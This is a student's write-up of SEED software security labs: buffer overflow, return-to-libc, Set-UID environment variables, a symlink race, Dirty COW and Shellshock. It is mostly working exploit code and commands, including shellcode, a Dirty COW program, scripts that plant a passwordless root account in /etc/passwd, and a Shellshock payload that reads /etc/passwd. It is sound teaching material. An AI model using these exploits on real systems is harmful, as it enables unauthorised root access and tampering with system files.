SEED 0 Software Security Labs

Preface

太阳底下没有新鲜事。

Screen Shot 2018-10-21 at 9.52.11 PM.png

The homepage of SEED Labs is http://www.cis.syr.edu/~wedu/seed/index.html. I will follow the labs on SEED-Ubuntu 16.04.

Notes for System

There are two accounts in the VM:

Notes for Servers

All services mentioned in this section are auto-started by the VM. This can be verified by running service –status-all in the terminal.

There are two accounts in the mysql:

We have also installed phpMyAdmin which is a PHP tool that allows administration of MySQL through the browser. It can be accessed by navigating to http://localhost/phpmyadmin. The account for phpmyadmin has username root and password seedubuntu.

00 Buffer-Overflow Vulnerability Lab

http://www.cis.syr.edu/~wedu/seed/Labs_16.04/Software/Buffer_Overflow/

000 Task 2 Exploiting the Vulnerability

Prepare the environment and program:

sudo sysctl -w kernel.randomize_va_space=0
# The dash shell in Ubuntu 16.04 has a countermeasure that prevents itself 
# from being executed in a Set-UID process. Basically, if dash detects that 
# it is executed in a Set-UID process, it immediately changes the effective 
# user ID to the process’s real user ID, essentially dropping the privilege. 
# The dash program in Ubuntu 12.04 does not have this behavior.
sudo rm /bin/sh
sudo ln -s /bin/zsh /bin/sh

gcc -o stack -z execstack -fno-stack-protector stack.c
sudo chown root stack
sudo chmod 4755 stack
# to generate core file
ulimit -c unlimited
# as root
echo "1" > /proc/sys/fs/suid_dumpable

Find Offset:

[11/25/18]seed@VM:~/00$ c

Segmentation fault (core dumped)
[11/25/18]seed@VM:~/00$ sudo gdb ./stack core
...
Core was generated by `./stack'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0  0x42424242 in ?? ()

exploit:

python -c "print('A' * 36 + '\xa0\xea\xff\xbf' + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80')" > badfile; ./stack

complete the C program which will generate a exploit:

/* You need to fill the buffer with appropriate contents here */ 
memcpy(&buffer[36], "\xa0\xea\xff\xbf", 4);
memcpy(&buffer[200], shellcode, strlen(shellcode));

After we get a SUID shell, we’d better to use setuid to become the real root user:

// toRoot.c
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>
void main() {
  setuid(0);  system("/bin/sh");
}

Python version:

#!/usr/bin/python3
# exploit.py
import sys

shellcode= ( 
    "\x31\xc0"             # xorl    %eax,%eax              
    "\x50"                 # pushl   %eax                   
    "\x68""//sh"           # pushl   $0x68732f2f            
    "\x68""/bin"           # pushl   $0x6e69622f            
    "\x89\xe3"             # movl    %esp,%ebx              
    "\x50"                 # pushl   %eax                   
    "\x53"                 # pushl   %ebx                   
    "\x89\xe1"             # movl    %esp,%ecx              
    "\x99"                 # cdq                            
    "\xb0\x0b"             # movb    $0x0b,%al              
    "\xcd\x80"             # int     $0x80                  
    "\x00"
).encode('latin-1')

# Fill the content with NOP's
content = bytearray(0x90 for i in range(517))

#########################################################################
# Replace 0 with the correct offset value
D = 36
# Fill the return address field with the address of the shellcode
# Replace 0xFF with the correct value 
content[D+0] = 0xa0   # fill in the 1st byte (least significant byte) 
content[D+1] = 0xea   # fill in the 2nd byte 
content[D+2] = 0xff   # fill in the 3rd byte
content[D+3] = 0xbf   # fill in the 4th byte (most significant byte)
#########################################################################

# Put the shellcode at the end
start = 517 - len(shellcode) 
content[start:] = shellcode 

# Write the content to badfile
file = open("badfile", "wb")
file.write(content)
file.close()

Have a try:

python3 exploit.py
./stack

001 Task 3 Defeating dash’s Countermeasure

The change in dash:

// https://launchpadlibrarian.net/240241543/dash_0.5.8-2.1ubuntu2.diff.gz
++  uid = getuid();
++  gid = getgid();

+-  /*
+-   * To limit bogus system(3) or popen(3) calls in setuid binaries, require
+-   * -p flag to work in this situation.
+-   */
+-  if (!pflag && (uid != geteuid() || gid != getegid())) {
+-      setuid(uid);
+-      setgid(gid);
+-      /* PS1 might need to be changed accordingly. */
+-      choose_ps1();
+-  }

Let’s bypass it with the help of setuid. Firstly reset the environment:

sudo rm /bin/sh
sudo ln -s /bin/dash /bin/sh

Now we get a non-root shell:

Screen Shot 2018-11-25 at 7.00.46 PM.png

After we add setuid(0) at the beginning of shellcode:

"\x31\xc0" /* Line 1: xorl  %eax,%eax   */
"\x31\xdb" /* Line 2: xorl  %ebx,%ebx   */
"\xb0\xd5" /* Line 3: movb  $0xd5,%al   */
"\xcd\x80" /* Line 4: int   $0x80       */

Screen Shot 2018-11-25 at 7.05.25 PM.png

It works.

002 Task 4 Defeating Address Randomization

On 32-bit Linux machines, stacks only have 19 bits of entropy, which means the stack base address can have 2 ^ 19 = 524, 288 possibilities. This number is not that high and can be exhausted easily with the brute-force approach.

Firstly reset the environment:

sudo /sbin/sysctl -w kernel.randomize_va_space=2

Then write a script to brute:

#!/bin/bash
# brute_force.sh

SECONDS=0
value=0
while [ 1 ]; do
    value=$(( $value + 1 ))
    duration=$SECONDS
    min=$(($duration / 60))
    sec=$(($duration % 60))
    echo "$min minutes and $sec seconds elapsed."
    echo "The program has been running $value times so far."
    ./stack
done

Screen Shot 2018-11-25 at 7.40.21 PM.png

003 Task 5 Turn on the StackGuard Protection

This is just a try, not a bypass-test.

sudo sysctl -w kernel.randomize_va_space=0
gcc -o stack -z execstack stack.c
sudo chown root stack
sudo chmod 4755 stack

We get:

[11/25/18]seed@VM:~/00$ ./stack 
*** stack smashing detected ***: ./stack terminated
Aborted (core dumped)

004 Task 6 Turn on the Non-executable Stack Protection

This is just a try, not a bypass-test.

gcc -o stack -fno-stack-protector -z noexecstack stack.c
sudo chown root stack
sudo chmod 4755 stack

We get:

[11/25/18]seed@VM:~/00$ ./stack 
Segmentation fault (core dumped)

01 Return-to-libc Attack Lab

http://www.cis.syr.edu/~wedu/seed/Labs_16.04/Software/Return_to_Libc/

010 Task 1 Exploiting the Vulnerability

Prepare the environment and program:

sudo /sbin/sysctl -w kernel.randomize_va_space=0

gcc -o retlib -z noexecstack -fno-stack-protector retlib.c
sudo chown root retlib
sudo chmod 4755 retlib
sudo rm /bin/sh
sudo ln -s /bin/zsh /bin/sh
# to generate core file
ulimit -c unlimited
# as root
echo "1" > /proc/sys/fs/suid_dumpable

Find the related addresses:

Screen Shot 2018-11-26 at 5.54.53 PM.png

And it is easy to find the offset. Then complete exploit.c:

// exploit.c
/* You need to decide the addresses and 
 the values for X, Y, Z. The order of the following 
 three statements does not imply the order of X, Y, Z.
 Actually, we intentionally scrambled the order. */
*(long *) &buf[24] = 0xb7e42da0 ;   //  system()
*(long *) &buf[28] = 0xb7e369d0 ;   //  exit()
*(long *) &buf[32] = 0xb7f6382b ;   //  "/bin/sh:

Got it:

Screen Shot 2018-11-26 at 6.02.04 PM.png

Question

After your attack is successful, change the file name of retlib to a different name, making sure that the length of the file names are different. For example, you can change it to newretlib. Repeat the attack (without changing the content of badfile). Is your attack successful or not? If it does not succeed, explain why.

It depends. If you use the "/bin/bash" in the env variables, the address of "/bin/bash" will change when argv[0] changes, which is just the filename.

That is:

# in gdb-peda
x/10s $esp-0x100

Screen Shot 2018-11-26 at 6.05.57 PM.png

However, my /bin/sh comes from libc, so its address has nothing to do with the env variables.

011 Task 2 Address Randomization

sudo /sbin/sysctl -w kernel.randomize_va_space=2

Now the attack will always fail. But we can also use brute-force to make it. The random range of libc is very small:

Screen Shot 2018-11-26 at 9.29.04 PM.png

012 Task 3 Stack Guard Protection

It fails.

02 Environment Variable and Set-UID Lab

http://www.cis.syr.edu/~wedu/seed/Labs_16.04/Software/Environment_Variable_and_SetUID/

We can use export/unset/env to set/unset/print environment variables.

After tests we find that:

extern char **environ;
int main() {
    char *argv[2];
    argv[0] = "/usr/bin/env";
    argv[1] = NULL;
    execve("/usr/bin/env", argv, environ);
    return 0; 
}

020 Task 5 Environment Variable and Set-UID Programs

// getenv.c
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
void main() {
    int i = 0;
    while (environ[i] != NULL) {
        printf("%s\n", environ[i]);
        i++; 
    }
}

Run this program. And then

sudo chown root getenv
sudo chmod 4755 getenv

Now we can find the difference:

Screen Shot 2018-11-27 at 8.29.18 AM.png

So LD_* env will not be passed to SUID processes.

021 Task 6 The PATH Environment Variable and Set-UID Programs

Firstly configure:

export PATH=/home/seed/bin:$PATH

Then create a SUID program:

// task6.c
#include <stdlib.h>
int main() {
    system("ifconfig");
    return 0; 
}
sudo rm /bin/sh
sudo ln -s /bin/zsh /bin/sh
gcc -o task6 task6.c
sudo chown root task6
sudo chmod 4755 task6
export LD_PRELOAD=./libmylib.so.1.0.1

Now if we create a ifconfig in /home/seed/bin, it will be used by the SUID program:

// ifconfig.c
// ifconfig is in /home/seed/bin
#include <stdlib.h>
int main(){
	system("/bin/sh");
	return 0;
}

Screen Shot 2018-11-26 at 10.09.33 PM.png

And we will get a root shell.

022 Task 7 The LD_PRELOAD Environment Variable and Set-UID Programs

In Linux, LD_LIBRARY_PATH is a colon-separated set of directories where libraries should be searched for first, before the standard set of directories. LD_PRELOAD specifies a list of additional, user-specified, shared libraries to be loaded before all others. In this task, we will only study LD_PRELOAD.

// mylib.c
#include <stdio.h>
void sleep (int s){
    /* If this is invoked by a privileged program,
        you can do damages here!  */
    printf("I am not sleeping!\n");
}
gcc -fPIC -g -c mylib.c
gcc -shared -o libmylib.so.1.0.1 mylib.o -lc
export LD_PRELOAD=./libmylib.so.1.0.1

Now create a vulnable SUID program in the same directory:

/* myprog.c */
int main(){
    sleep(1);
    return 0;
}

Screen Shot 2018-11-27 at 8.04.18 AM.png

From Task 5 we know that LD_* will not be passed to SUID processes.

023 Task 8 Invoking External Programs Using system() versus execve()

// task8.c
#include <string.h>
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[]){
    char *v[3];
    char *command;
    if(argc < 2) {
        printf("Please type a file name.\n");
        return 1;
    }
    v[0] = "/bin/cat"; v[1] = argv[1]; v[2] = NULL;
    command = malloc(strlen(v[0]) + strlen(v[1]) + 2);
    sprintf(command, "%s %s", v[0], v[1]);
    // Use only one of the followings.
    system(command);
    // execve(v[0], v, NULL);
    return 0;
}
gcc -o task8 task8.c
sudo chown root task8
sudo chmod 4755 task8

We can use this program to get root:

Screen Shot 2018-11-27 at 9.22.48 AM.png

However, if we comment system() and uncomment execve, we will fail:

Screen Shot 2018-11-27 at 9.26.31 AM.png

This is very similar to SQL injection and the Parameterized Query.

024 Task 9 Capability Leaking

When revoking the privilege, one of the common mistakes is capability leaking. The process may have gained some privileged capabilities when it was still privileged; when the privilege is downgraded, if the program does not clean up those capabilities, they may still be accessible by the non-privileged process. In other words, although the effective user ID of the process becomes non-privileged, the process is still privileged because it possesses privileged capabilities.

Take the program below for example:

// task9.c
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
void main(){
    int fd;
    /* Assume that /etc/zzz is an important system file,
    * and it is owned by root with permission 0644.
    * Before running this program, you should creat
    * the file /etc/zzz first. */
    fd = open("/etc/zzz", O_RDWR | O_APPEND);
    if (fd == -1) {
        printf("Cannot open /etc/zzz\n");
        exit(0);
    }
    /* Simulate the tasks conducted by the program */
    sleep(1);
    /* After the task, the root privileges are no longer needed,
    it’s time to relinquish the root privileges permanently. */
    setuid(getuid());  /* getuid() returns the real uid */
    if (fork()) { /* In the parent process */
        close(fd);
        exit(0);
    } 
    else { /* in the child process */
    /* Now, assume that the child process is compromised, malicious
        attackers have injected the following statements
        into this process */
        write(fd, "Malicious Data\n", 15);
        close(fd); 
    }
}
gcc -o task9 task9.c
sudo chown root task9
sudo chmod 4755 task9

It works:

Screen Shot 2018-11-27 at 12.36.28 PM.png

But why?

Because before setuid the program has opened the /etc/zzz file with O_RDWR privilege!

So programmers must be very careful :)

03 Race-Condition Vulnerability Lab

http://www.cis.syr.edu/~wedu/seed/Labs_16.04/Software/Race_Condition/

Ubuntu 10.10 and later come with a built-in protection against race condition attacks. This scheme works by restricting who can follow a symlink. According to the documentation, “symlinks in world-writable sticky directories (e.g. /tmp) cannot be followed if the follower and directory owner do not match the symlink owner.” In this lab, we need to disable this protection. You can achieve that using the following commands:

# On Ubuntu 12.04
sudo sysctl -w kernel.yama.protected_sticky_symlinks=0
# On Ubuntu 16.04
sudo sysctl -w fs.protected_symlinks=0

Vulnerable program:

//  vuln.c
#include <stdio.h>
#include <unistd.h>
int main(){
	char *fn = "/tmp/XYZ";
	char buffer[60];
	FILE *fp;
	/* get user input */
	scanf("%50s", buffer );
	if(!access(fn, W_OK)){
	    fp = fopen(fn, "a+");
	    fwrite("\n", sizeof(char), 1, fp);
	    fwrite(buffer, sizeof(char), strlen(buffer), fp);
	    fclose(fp);
	}
	else printf("No permission \n");
}

The program above is a root-owned Set-UID program; it appends a string of user input to the end of a temporary file /tmp/XYZ. Since the code runs with the root privilege, i.e., its effective use ID is zero, it can overwrite any file. To prevent itself from accidentally overwriting other people’s file, the program first checks whether the real user ID has the access permission to the file /tmp/XYZ using access()􏰀. If the real user ID indeed has the right, the program opens the file and append the user input to the file.

At first glance the program does not seem to have any problem. However, there is a race condition vul- nerability in this program: due to the time window between the check (access()) and the use (fopen()), there is a possibility that the file used by access() is different from the file used by fopen(), even though they have the same file name /tmp/XYZ. If a malicious attacker can somehow make /tmp/XYZ a symbolic link pointing to a protected file, such as /etc/passwd, inside the time window, the attacker can cause the user input to be appended to /etc/passwd and as a result gain the root privilege. The vulnerable runs with the root privilege, so it can overwrite any file.

Prepare the program:

gcc -o vuln vuln.c
sudo chown root vuln
sudo chmod 4755 vuln

030 Task 1 Choosing Our Target

# x means the password is stored in /etc/shadow
root:x:0:0:root:/root:/bin/bash

We will add a root user in /etc/passwd with the help of this vulnable SUID program. Interestingly, there is a magic value used in Ubuntu live CD for a password-less account, and the magic value is U6aMy0wojraho (the 6th character is zero, not letter O). If we put this value in the password field of a user entry, we only need to hit the return key when prompted for a password.

So let’s add one entry to /etc/passwd as below:

rambo:U6aMy0wojraho:0:0:test:/root:/bin/bash

Screen Shot 2018-11-27 at 4.13.15 PM.png

It works. Now we should delete this entry and go to the next task :)

031 Task 2 Launching the Race Condition Attack

Firstly we create a regular file /home/seed/beef and start attacking:

#!/bin/bash
# attacker.sh
i=0
while [ 1 ];
do
	i=$(( $i + 1 ))
	ln -sf /home/seed/beef /tmp/XYZ
	ln -sf /etc/passwd /tmp/XYZ
	echo "changed ln for $i times so far."
done

Then we run the vulnerable program:

#!/bin/bash
# victim.sh
CHECK_FILE="ls -l /etc/passwd"
echo "rambo:U6aMy0wojraho:0:0:test:/root:/bin/bash" > passwd_input
old=$($CHECK_FILE)
new=$($CHECK_FILE)
while [ "$old" == "$new" ]
do
    ./vuln < passwd_input
    new=$($CHECK_FILE)
done
echo "STOP... The passwd file has been changed"

Result:

Screen Shot 2018-11-27 at 4.36.55 PM.png

032 Task 3 Countermeasure: Applying the Principle of Least Privilege

We can use seteuid to currently limit the privilege:

	// lose the privilege currently
	seteuid(getuid());
	if(!access(fn, W_OK)){
        // ...
	}
	else printf("No permission \n");
	// recover the privilege
	seteuid(0);

033 Task 4 Countermeasure: Using Ubuntu’s Built-in Scheme

We can also turn on the built-in protection to avoid such vulnability:

# On Ubuntu 12.04
sudo sysctl -w kernel.yama.protected_sticky_symlinks=1
# On Ubuntu 16.04
sudo sysctl -w fs.protected_symlinks=1

Refer to Documentation for /proc/sys/fs/*:

A long-standing class of security issues is the symlink-based time-of-check-time-of-use race, most commonly seen in world-writable directories like /tmp. The common method of exploitation of this flaw is to cross privilege boundaries when following a given symlink (i.e. a root process follows a symlink belonging to another user). For a likely incomplete list of hundreds of examples across the years, please see: http://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=/tmp

When set to “0”, symlink following behavior is unrestricted.

When set to “1” symlinks are permitted to be followed only when outside a sticky world-writable directory, or when the uid of the symlink and follower match, or when the directory owner matches the symlink’s owner.

This protection is based on the restrictions in Openwall and grsecurity.

Limitation: If the symlink is just in a directory owned by the symlink’s owner, this protection will make no effect.

04 Dirty COW Attack Lab

http://www.cis.syr.edu/~wedu/seed/Labs_16.04/Software/Dirty_COW/

We will use Ubuntu 12.04 in this experiment.

040 Task 1 Modify a Dummy Read-Only File

#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <sys/stat.h>
#include <string.h>
void *map;
void *writeThread(void *arg);
void *madviseThread(void *arg);
int main(int argc, char *argv[]){
  pthread_t pth1,pth2;
  struct stat st;
  int file_size;
  // Open the target file in the read-only mode.
  int f=open("/zzz", O_RDONLY);
  // Map the file to COW memory using MAP_PRIVATE.
  fstat(f, &st);
  file_size = st.st_size;
  map=mmap(NULL, file_size, PROT_READ, MAP_PRIVATE, f, 0);
  // Find the position of the target area
  char *position = strstr(map, "CANNOT");                        
  // We have to do the attack using two threads.
  pthread_create(&pth1, NULL, madviseThread, (void  *)file_size); 
  pthread_create(&pth2, NULL, writeThread, position);             
  // Wait for the threads to finish.
  pthread_join(pth1, NULL);
  pthread_join(pth2, NULL);
  return 0;
}
void *writeThread(void *arg){
  char *content= "cannot";
  off_t offset = (off_t) arg;
  int f=open("/proc/self/mem", O_RDWR);
  while(1) {
    // Move the file pointer to the corresponding position.
    lseek(f, offset, SEEK_SET);
    // Write to the memory.
    write(f, content, strlen(content));
  }
}
void *madviseThread(void *arg){
  int file_size = (int) arg;
  while(1)
      madvise(map, file_size, MADV_DONTNEED);
}

Compile:

gcc -o cow_attack cow_attack.c -pthread

Practice:

Screen Shot 2018-11-27 at 6.36.10 PM.png

Screen Shot 2018-11-27 at 6.42.27 PM.png

041 Task 2 Modify the Password File to Gain the Root Privilege

// modify: from
char *position = strstr(map, "charlie:x:1001:1002");
// modify: to
char *content= "charlie:x:0000:1002";

Screen Shot 2018-11-27 at 6.51.42 PM.png

05 Shellshock Attack Lab

http://www.cis.syr.edu/~wedu/seed/Labs_16.04/Software/Shellshock/

050 Task 1 Experimenting with Bash Function

In SEED Ubuntu 16.04, we can have a try:

# vulnerable version of bash
env x='() { :;}; echo vulnerable' /bin/bash_shellshock -c "echo this is a test "
# patched version of bash
env x='() { :;}; echo vulnerable' /bin/bash -c "echo this is a test "

Screen Shot 2018-11-27 at 8.11.41 PM.png

051 Task 2 Setting up CGI programs

#!/bin/bash_shellshock
# /usr/lib/cgi-bin/myprog.cgi
echo "Content-type: text/plain"
echo
echo
echo "Hello World"
sudo chmod 755 /usr/lib/cgi-bin/myprog.cgi
curl http://localhost/cgi-bin/myprog.cgi

Screen Shot 2018-11-27 at 8.15.36 PM.png

052 Task 3 Passing Data to Bash via Environment Variable

Use a new CGI:

#!/bin/bash_shellshock
echo "Content-type: text/plain"
echo
echo "****** Environment Variables ******"
strings /proc/$$/environ
curl -H "RAMBO: APTX4869" http://localhost/cgi-bin/myprog.cgi

Screen Shot 2018-11-27 at 8.15.36 PM.png

053 Task 4 Launching the Shellshock Attack

Use the CGI above.

curl -H "x: () { test;};echo \"Content-type: text/plain\"; echo; echo; /bin/cat /etc/passwd" http://localhost/cgi-bin/myprog.cgi

Screen Shot 2018-11-27 at 8.34.48 PM.png

054 Task 5 Getting a Reverse Shell via Shellshock Attack

For details of reverse shell, see Linux 反弹shell实践.

Screen Shot 2018-11-27 at 8.39.34 PM.png

We use python -c "import pty;pty.spawn('/bin/bash')" to get a standard shell.

References